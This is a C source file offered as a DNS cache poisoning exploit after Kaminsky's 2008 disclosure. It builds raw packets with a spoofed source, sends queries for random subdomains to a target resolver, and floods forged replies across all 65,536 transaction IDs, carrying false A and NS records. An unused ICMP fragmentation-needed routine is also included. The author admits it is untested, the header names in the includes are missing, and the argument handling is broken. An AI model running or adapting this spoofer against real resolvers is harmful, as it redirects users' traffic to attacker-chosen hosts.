/* This is an attempt at an exploit detailed here: http://blog.invisibledenizen.org/2008/07/kaminskys-dns-issue-accidentally-leaked.html I am not convinced that this is all that Dan Kaminsky has found.. it doesn't seem all that significant by itself, imho. I haven't actually got this to work.. I don't really have a proper test envionment to try it.. give it a go.. maybe it will work for you if not, it's probably a good starting point for your own dns spoofer. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include "/usr/include/linux/if.h" #include "/usr/include/linux/if_tun.h" #include #include #include #include #include /* :-( */ /* DNS Shit */ #include #include #define NAMESIZ 1024 int netfd; // global variable contains the tunnel file descriptoR in_addr_t fakesrc; in_addr_t dest; int sport = 0; /* This is the UDP pseudo header used for calculating the UDP checksum */ struct udpcheck { in_addr_t srcaddr; in_addr_t destaddr; char reserved; char protocol; short length; }; /* honestly forget where I stole this from.. */ unsigned short in_cksum(addr, len) u_short *addr; int len; { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *)w ; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } /* This encodes a string into DNS name format eg: www.google.com becomes: { 0x03, "www", 0x06, "google", 0x03, "com" } */ int encname(char *name, char *buf) { char myname[NAMESIZ]; char delim[] = "."; char *ptr = myname; char *next; char *bufptr=buf; int len=0; strcpy(myname, name); while(next = strsep(&ptr, delim)) { *bufptr = strlen(next); bufptr++; memcpy(bufptr, next, strlen(next)); bufptr+=strlen(next); } bufptr++; *bufptr = 0x00; // end of name. return (bufptr-buf); } int create_udp(void *packet, in_addr_t fakesrc, in_addr_t dest, int sport, int dport, int check) { struct iphdr *ip; struct udphdr *udp; int pktsize = 0; int dnsreply = 56; pktsize = sizeof(struct iphdr) + sizeof(struct udphdr) + dnsreply; ip = (struct iphdr *)(packet); udp = (struct udphdr *)(packet+sizeof(struct iphdr)); /* Setup our UDP packet header */ udp->source=htons(sport); udp->dest=htons(dport); udp->len=htons(pktsize); udp->check=htons(check); /* Set up the IP header */ ip->saddr=dest; ip->daddr=fakesrc; ip->id=0; /* Unused */ ip->ihl=5; /* Minimum size - no IP options */ ip->tot_len=htons(pktsize); ip->frag_off=0; ip->version=4; ip->ttl=240; ip->protocol=IPPROTO_UDP; ip->check=0; ip->check=in_cksum((ushort *)ip, sizeof(struct iphdr)); } int create_dns(void *packet, in_addr_t fakesrc, in_addr_t dest, int sport, int dport, int xid, char *basename, int name) { struct iphdr *ip; struct udphdr *udp; struct udpcheck *udpcheck; HEADER *dnsheadp; int pktsize = 0, c=0; char udpchecktmp[8000]; // build a copy :/ int len = 0; char *answer = NULL; short res_type; short res_class; short res_ans_type; short res_ans_class; long ttl; short rdatasize; in_addr_t aa; void *udpdata; int f; int udpsize; char queryname[1024]; int o; // name offset memset(udpchecktmp, 0, sizeof(udpcheck)); ip = (struct iphdr *)(packet); udp = (struct udphdr *)(packet+sizeof(struct iphdr)); dnsheadp = (HEADER*)(packet+sizeof(struct iphdr)+sizeof(struct udphdr)); /* Setup DNS reply header */ dnsheadp->id = htons(xid); /* XID / Transaction ID */ dnsheadp->opcode = QUERY; /* This is a query */ dnsheadp->qr = 0x01; /* 0x00 = QUERY, 0x01 = REPLY */ dnsheadp->aa = 0x01; /* Is auth answer */ dnsheadp->tc = 0x00; /* not truncated */ dnsheadp->rd = 0x01; /* RES_RECURSE is on! */ dnsheadp->ra = 0x01; /* Recursion available */ dnsheadp->ad = 0x01; /* All data is Authenticated data (would i lie?!)*/ dnsheadp->cd = 0x00; /* checking disabled? no what does it do ?*/ dnsheadp->qdcount = htons(0); /* total questions */ /* none, answer */ dnsheadp->ancount = htons(8); /* total answer count */ dnsheadp->nscount = htons(8); /* Number of NS/authority records */ dnsheadp->arcount = htons(0); /* additional answers */ dnsheadp->rcode = NOERROR; /* Answer starts after DNS header */ // Name is going to be TEST1.feh.test.local. answer = (char *)(packet+sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(HEADER)); /* This is just the question, repeated back */ // sprintf(queryname, "xxx%8.8x.%s", name, basename); // len = encname(queryname, answer); // answer += len; // res_type = (short)htons(1); // res_class = (short)htons(1); // memcpy((void *)(answer), &res_type, sizeof(short)); // type = A IPv4 Address // answer+=2; // memcpy((void *)(answer), &res_class, sizeof(short)); // class = IN // answer+=2; /* Now here is the answer(s) */ for(o=0;o<8;o++) { sprintf(queryname, "xxx%8.8x.%s", name+o, basename); len = encname(queryname, answer); answer += len; res_ans_type = htons(1); // type = A IPv4 Address res_ans_class = htons(1); // class = IN memcpy((void *)(answer), &res_ans_type, sizeof(short)); answer+=2; memcpy((void *)(answer), &res_ans_class, sizeof(short)); answer+=2; ttl = htonl(86400); memcpy((void *)(answer), &ttl, sizeof(long)); answer+=4; rdatasize = htons(4); memcpy((void *)(answer), &rdatasize, sizeof(short)); answer+=2; aa = inet_addr("192.168.0.99"); memcpy((void *)(answer), &aa, sizeof(in_addr_t)); answer+=4; } /* Poison NS */ for (o=0;o<8;o++) { len = encname(basename, answer); answer+=len; res_ans_type = htons(2); // type = NS record res_ans_class = htons(1); // class = IN memcpy((void *)(answer), &res_ans_type, sizeof(short)); answer+=2; memcpy((void *)(answer), &res_ans_class, sizeof(short)); answer+=2; ttl = htonl(86400); memcpy((void *)(answer), &ttl, sizeof(long)); answer+=4; answer+=2; // skip ahead past length sprintf(queryname, "xxx%8.8x.%s", name+o, basename); // nameserver len = encname(queryname, answer); answer-=2; // skip back rdatasize = htons(len); memcpy((void *)(answer), &rdatasize, sizeof(short)); answer+=2; answer+=len; // skip to end } udpsize = (void*)answer-(void*)udp; // size of UDP header + payload data pktsize = (void*)answer-(void*)packet; // size of entire packet /* Setup our UDP packet header */ udp->source=htons(sport); udp->dest=htons(dport); udp->len=htons(udpsize); udp->check=0; /* Set up the IP header */ ip->saddr=fakesrc; ip->daddr=dest; ip->id=0x01; /* Unused */ ip->ihl=5; /* Minimum size - no IP options */ ip->tot_len=htons(pktsize); ip->frag_off=0; ip->version=4; ip->ttl=240; ip->protocol=IPPROTO_UDP; ip->check=0; ip->check=in_cksum((ushort *)ip, sizeof(struct iphdr)); udpcheck = (struct udpcheck *)udpchecktmp; /* struct udpcheck { in_addr_t srcaddr; in_addr_t destaddr; char reserved; char protocol; short length; }; */ udpcheck->srcaddr = ip->saddr; udpcheck->destaddr = ip->daddr; udpcheck->reserved = 0; udpcheck->protocol = ip->protocol; udpcheck->length = htons(udpsize); udpdata = udpchecktmp+sizeof(struct udpcheck); memcpy(udpdata, udp, udpsize); udp->check = in_cksum((ushort *)udpchecktmp, udpsize+sizeof(struct udpcheck)); //printf("aught to be = 0x%x\n", // c = write(netfd, ip, pktsize); /* f = open("/tmp/packet", O_RDWR | O_CREAT ); write(f, ip, pktsize); close(f); */ return pktsize; } int query_dns(void *packet, in_addr_t fakesrc, in_addr_t dest, int sport, int dport, int xid, char *domainbase, int name) { struct iphdr *ip; struct udphdr *udp; struct udpcheck *udpcheck; HEADER *dnsheadp; int pktsize = 0, c=0; char udpchecktmp[8000]; // build a copy :/ int len = 0; char *answer = NULL; short res_type; short res_class; short res_ans_type; short res_ans_class; long ttl; short rdatasize; in_addr_t aa; void *udpdata; int f; int udpsize; char queryname[1024]; memset(udpchecktmp, 0, sizeof(udpcheck)); ip = (struct iphdr *)(packet); udp = (struct udphdr *)(packet+sizeof(struct iphdr)); dnsheadp = (HEADER*)(packet+sizeof(struct iphdr)+sizeof(struct udphdr)); /* Setup DNS reply header */ dnsheadp->id = htons(xid); /* XID / Transaction ID */ dnsheadp->opcode = QUERY; /* This is a query */ dnsheadp->qr = 0x00; /* 0x00 = QUERY, 0x01 = REPLY */ dnsheadp->aa = 0x00; /* Is auth answer */ dnsheadp->tc = 0x00; /* not truncated */ dnsheadp->rd = 0x01; /* RES_RECURSE is on! */ dnsheadp->ra = 0x00; /* Recursion available */ dnsheadp->ad = 0x00; /* All data is Authenticated data (would i lie?!)*/ dnsheadp->cd = 0x00; /* checking disabled? no what does it do ?*/ dnsheadp->qdcount = htons(1); /* total questions */ /* none, answer */ dnsheadp->ancount = htons(0); /* total answer count */ dnsheadp->nscount = htons(0); /* Number of NS/authority records */ dnsheadp->arcount = htons(0); /* additional answers */ dnsheadp->rcode = NOERROR; /* Answer starts after DNS header */ // Name is going to be TEST1.feh.test.local. answer = (char *)(packet+sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(HEADER)); /* This is just the question, repeated back */ sprintf(queryname, "xxx%8.8x.%s", name+xid, domainbase); printf("querying for %s\n", queryname); len = encname(queryname, answer); answer += len; res_type = (short)htons(1); res_class = (short)htons(1); memcpy((void *)(answer), &res_type, sizeof(short)); // type = A IPv4 Address answer+=2; memcpy((void *)(answer), &res_class, sizeof(short)); // class = IN answer+=2; /* Calculate the size of the packet !! */ udpsize = (void*)answer-(void*)udp; // size of UDP header + payload data pktsize = (void*)answer-(void*)packet; // size of entire packet /* Setup our UDP packet header */ udp->source=htons(sport); udp->dest=htons(dport); udp->len=htons(udpsize); udp->check=0; /* Set up the IP header */ ip->saddr=fakesrc; ip->daddr=dest; ip->id=0x01; /* Unused */ ip->ihl=5; /* Minimum size - no IP options */ ip->tot_len=htons(pktsize); ip->frag_off=0; ip->version=4; ip->ttl=240; ip->protocol=IPPROTO_UDP; ip->check=0; ip->check=in_cksum((ushort *)ip, sizeof(struct iphdr)); udpcheck = (struct udpcheck *)udpchecktmp; /* struct udpcheck { in_addr_t srcaddr; in_addr_t destaddr; char reserved; char protocol; short length; }; */ udpcheck->srcaddr = ip->saddr; udpcheck->destaddr = ip->daddr; udpcheck->reserved = 0; udpcheck->protocol = ip->protocol; udpcheck->length = htons(udpsize); udpdata = udpchecktmp+sizeof(struct udpcheck); memcpy(udpdata, udp, udpsize); udp->check = in_cksum((ushort *)udpchecktmp, udpsize+sizeof(struct udpcheck)); //printf("aught to be = 0x%x\n", // c = write(netfd, ip, pktsize); /* f = open("/tmp/packet", O_RDWR | O_CREAT ); write(f, ip, pktsize); close(f); */ return pktsize; } int sendicmp(void *packet, void *udpbuf, in_addr_t fakesrc, in_addr_t dest, int i) { int pktsize = 0; struct iphdr *ip; struct icmphdr *icmp; // layer two struct iphdr *origip; struct iphdr *l2ip; struct udphdr *udp = udpbuf; struct icmphdr *oicmp; int c = 0; pktsize = sizeof(struct iphdr) + sizeof(struct icmphdr) + sizeof(struct iphdr) + sizeof(struct udphdr); /* Copy the UDP packet into the ICMP packet */ memcpy((packet+sizeof(struct iphdr)+sizeof(struct icmphdr)), udp, sizeof(struct iphdr) + sizeof(struct udphdr)); /* Pointer to the start of the internal (payload) IP header */ origip = (struct iphdr *)(packet+sizeof(struct iphdr)+sizeof(struct icmphdr)); ip = (struct iphdr *)(packet); icmp = (struct icmphdr *)(packet+sizeof(struct iphdr)); /* Set up the outer (real) IP header */ ip->saddr=fakesrc; ip->daddr=dest; // ip->id=origip->id; // ip->ihl=origip->ihl; ip->ihl=5; ip->id=0x01; ip->tot_len=htons(pktsize); ip->frag_off=0; ip->version=4; ip->tos=0; ip->ttl=240; ip->protocol=IPPROTO_ICMP; ip->check=0; ip->check=in_cksum((ushort *)ip, sizeof(struct iphdr)); /* icmp->type = ICMP_UNREACH; icmp->type = ICMP_UNREACH; icmp->code = ICMP_PROT_UNREACH; icmp->type = ICMP_UNREACH; icmp->code = ICMP_UNREACH_PORT; icmp->code = ICMP_EXC_TTL; //icmp->code = ICMP_PROT_UNREACH; // ICMP_REDIRECT // ICMP_REDIR_NET | ICMP_REDIR_HOST | ICMP_REDIR_NETTOS | ICMP_REDIR_HOSTTOS */ //icmp->type = ICMP_SOURCEQUENCH; // icmp->code = ICMP_NET_ANO; //icmp->type = ICMP_PARAMETERPROB; icmp->type = ICMP_UNREACH; icmp->code = ICMP_FRAG_NEEDED; // icmp->code = i%13; // icmp->un.gateway = inet_addr("192.168.0.2"); icmp->un.frag.mtu = htons(100); icmp->checksum = 0; icmp->checksum = in_cksum(icmp, sizeof(struct icmphdr)+sizeof(struct iphdr)+sizeof(struct udphdr)); /* Return size written to buffer to caller */ return pktsize; } int main(int argc, char *argv[]) { struct ifreq ifr; char *sourceaddress; char *destaddress; char *sourceport; char *basename; int i=0; struct sigaction sa; char udp[4028]; char datagram[4028]; struct sockaddr_in sin; int len =0; int on = 1; int s = 0; int j = 0; memset(&ifr, 0, sizeof(struct ifreq)); if (argc<3) { printf("Usage: %s \n", argv[0]); exit(-1); } sourceaddress=argv[1]; destaddress=argv[2]; sourceport=argv[3]; basename=argv[4]; fakesrc = inet_addr(sourceaddress); dest = inet_addr(destaddress); sport = atoi(sourceport); sin.sin_family = AF_INET; // sin.sin_port = htons(53); sin.sin_addr.s_addr = inet_addr (destaddress); s = socket (PF_INET, SOCK_RAW, IPPROTO_RAW); /* socket options, tell the kernel we provide the IP structure */ if(setsockopt(s, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on)) < 0) { perror("setsockopt() for IP_HDRINCL error"); exit(1); } j=time(); while(1) { j++; usleep(300); /* First send 1000 replies */ for(i=0;i<8;i++) { memset(&datagram, 0, sizeof(datagram)); len = query_dns(&datagram, fakesrc, dest, 1024+j, 53, i, basename, j); if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ perror("error"); else printf (","); fflush(stdout); } sleep(5); for (i=0;i<65536;i++) { usleep(50); memset(&datagram, 0, sizeof(datagram)); len = create_dns(&datagram, fakesrc, dest, 53, sport, i, basename, j); if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ perror("error"); else printf (","); fflush(stdout); } continue; // nevermind the ICMP stuff for now.. /* Now send an ICMP unreachable (port unavailable) */ /* This will cause the firewall to start dropping any further replies from our IP, until the recursing server sends us another packet. */ memset(&udp, 0, sizeof(udp)); memset(&datagram, 0, sizeof(datagram)); create_udp(udp, fakesrc, dest, sport, 53, i); len = sendicmp(&datagram, &udp, fakesrc, dest, i); if (sendto (s, /* our socket */ datagram, /* the buffer containing headers and data */ len, /* total length of our datagram */ 0, /* routing flags, normally always 0 */ (struct sockaddr *) &sin, /* socket addr, just like in */ sizeof (sin)) < 0) /* a normal send() */ perror("error"); else printf ("."); fflush(stdout); } }